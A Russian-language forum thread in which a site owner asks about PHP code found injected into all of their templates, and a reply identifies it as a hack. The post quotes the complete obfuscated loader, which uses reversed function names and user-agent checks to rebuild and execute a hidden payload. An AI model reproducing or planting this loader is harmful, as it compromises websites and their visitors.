Здравствуйте! Обнаружил у себя во всех шаблонах на всех страницах php код, на работу сайтов он ни как не влияет. На вирусы проверял, все ок. Но все таки хочется от него избавиться. Может кто-нибудь сказать что это за код и как сделать чтобы он не появлялся на новых сайтах?
<?php $tljlkict = '7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAx24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- #)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)f24- x24]y8 x24- x24]26 x24- x24<%j,,*!| tutjyf`4 x223}!+!<+{e%fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tu+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)f:!>! x246767~6<Cw6<pd%w6Z44ec:649#-!#:618d5f9#-!#f6c68399#-!!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH#7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x722!pd%)!gj}Z;h!opjudovg}{;#)tutjyf]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]24/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdo" x63 150 x72 157 x6d 145")) or (strstr]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjixBjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2]78]K5]53]Kc#<%tpz!>!}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x4 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $;}}}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvdk!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%($uas," x66 151 x72 145 x66 157 x78"))) { $fsgpqrj =]88M4P8]37]278]225]241]334]368]322]3]364]6]28vg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 FWSFT`%}X;!sp!*#opo#>>}R6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvSV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#124 x54 120 x5f 125 x53 105 x5`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> xmsv%7-MSV,6<*)ujojR x27id%6< x7fw6* x4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>jf./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!epdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cS00;quui#>.%!<***f x27,*e x27*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K]#>s%<#462]47y]252]18y]#>q%<#762]67y]562+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#Qy7:]268]y7f#<!%tww!>! # x5cq%7**^#zsfvr# x5cq%)ufttj x22)[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QU7-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6mqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**11112*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)wTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%yfsdpd($n){return chr(ordgj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x3]427]36]373P6]36]73]83]238M7]$ukplipb = implode(array_map("kyfsdpd",str_split("%tjw!>!#]y84]25csboe))1/35.)1/14+9**-)1/2986+epmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y-K)udfoopdXA x22)7gj6<*QDU2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x2x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmd73]y76]252]y85]256]y6g]257]y86]267]y74]275]5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)72qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr($n)-1);} @error_reporting(0); "]=1; $uas=strtolower($_SERVER[" x48 x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 xx24- x24-!% x24- x24*!|! x24- x24 x5c%j^ if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72 16381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]!%w:**<")));$eiuwsan = $fsgpqrj("", $ukplipb); $eiuwsan()ufs} x27;mnui}&;zepc}A;~!} x7f;)ftpmdXA6|7**197-2qj%7%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)O#-#N#*-!%ff2-!%t::**<(<!fwbm75]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*x69 157 x6e"; function kbE{h%)j{hnpd!opjudovg!|!**#j{hn#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz x27rfs%6~6< x7fw6<*KA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbe6 x3a 61 x31")) or (strstr($uas,6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6GLOBALS[" x61 156 x75 156 x61R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvsbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#mpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ xpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bu#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)ss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rrt2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%b%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepif((function_exists(" x6f 142 x5f 163 x7 " x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 2 137 x41 107 x45 116 x54"]); % x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyq7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,VPFNJU,6<*27-SFGTOBSUOSVUFS,6<*,*d x27,*c x27,*b x27)fepdof.)fepdoofuopd`ufh`fmjg}[;ldpt%gj<*#k#)usbut`cpV x7f xufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:]275]y83]273]y76]277#<!%t2w>#]y74]28L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55##p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bs)%tjw)# x24#-!#]y38#-%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudo" x61 156 x64 162 x6f 151 x64")) or (strstr($uas,StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSryxiagfb'; $usseyutxp=explode(chr((781-661)),substr($tljlkict,(38914-32894),(213-179))); $zghojvbce = $usseyutxp[0]($usseyutxp[(5-4)]); $jtyugyec = $usseyutxp[0]($usseyutxp[(9-7)]); if (!function_exists('ysuvnzbvun')) { function ysuvnzbvun($tmlhfwy, $mzkwmoa,$ltwcnrqb) { $cuawexjv = NULL; for($cdvesz=0;$cdvesz<(sizeof($tmlhfwy)/2);$cdvesz++) { $cuawexjv .= substr($mzkwmoa, $tmlhfwy[($cdvesz*2)],$tmlhfwy[($cdvesz*2)+(4-3)]); } return $ltwcnrqb(chr((44-35)),chr((326-234)),$cuawexjv); }; } $ojravakn = explode(chr((178-134)),'5237,40,1109,67,4477,29,3446,37,1656,30,5328,30,3583,62,4380,32,5971,49,779,39,1296,52,5277,51,3981,24,2722,25,3415,31,2857,64,3881,50,415,25,4412,65,5176,61,2577,68,2529,48,541,46,4126,21,3790,22,3039,26,1686,57,3065,65,3353,62,2331,35,2747,33,349,66,2952,38,3130,54,1483,42,5480,31,1743,37,587,53,259,47,5546,23,1179,40,1219,29,1051,58,640,34,3931,50,2049,63,1877,34,3812,40,5125,51,5892,41,3227,60,4838,56,4005,31,4689,63,4248,69,4147,33,2021,28,5511,35,1911,59,4082,44,306,43,95,43,988,42,2462,67,4317,63,1248,48,138,59,1970,51,1460,23,4506,63,5592,45,4791,47,3287,66,237,22,2203,70,5569,23,0,51,1594,62,734,45,1525,69,3759,31,475,66,5822,70,5637,35,3184,43,2309,22,2990,49,818,69,935,53,2163,40,5933,38,1393,67,3542,41,51,44,3483,59,197,40,4180,68,5358,55,4638,51,4752,39,2366,47,440,35,4894,68,2273,36,2686,36,5013,43,4962,51,2112,51,1780,57,1837,40,1030,21,4036,46,674,60,5672,65,2645,41,2413,49,1348,45,2827,30,3645,57,2780,47,2921,31,5413,67,887,48,5056,69,5737,64,4569,69,3852,29,5801,21,3702,57,1176,3'); $dmqmpev = $zghojvbce("",ysuvnzbvun($ojravakn,$tljlkict,$jtyugyec)); $zghojvbce=$tljlkict; $dmqmpev(""); $dmqmpev=(700-579); $tljlkict=$dmqmpev-1; ?>
Ответы (4)
Чем Вы проверяли? У Вас явные признаки взлома, возможно вредоносный код еще не задействован
https://timeweb.com/ru/community/marketplace/urlvir - наш профиль на Timeweb.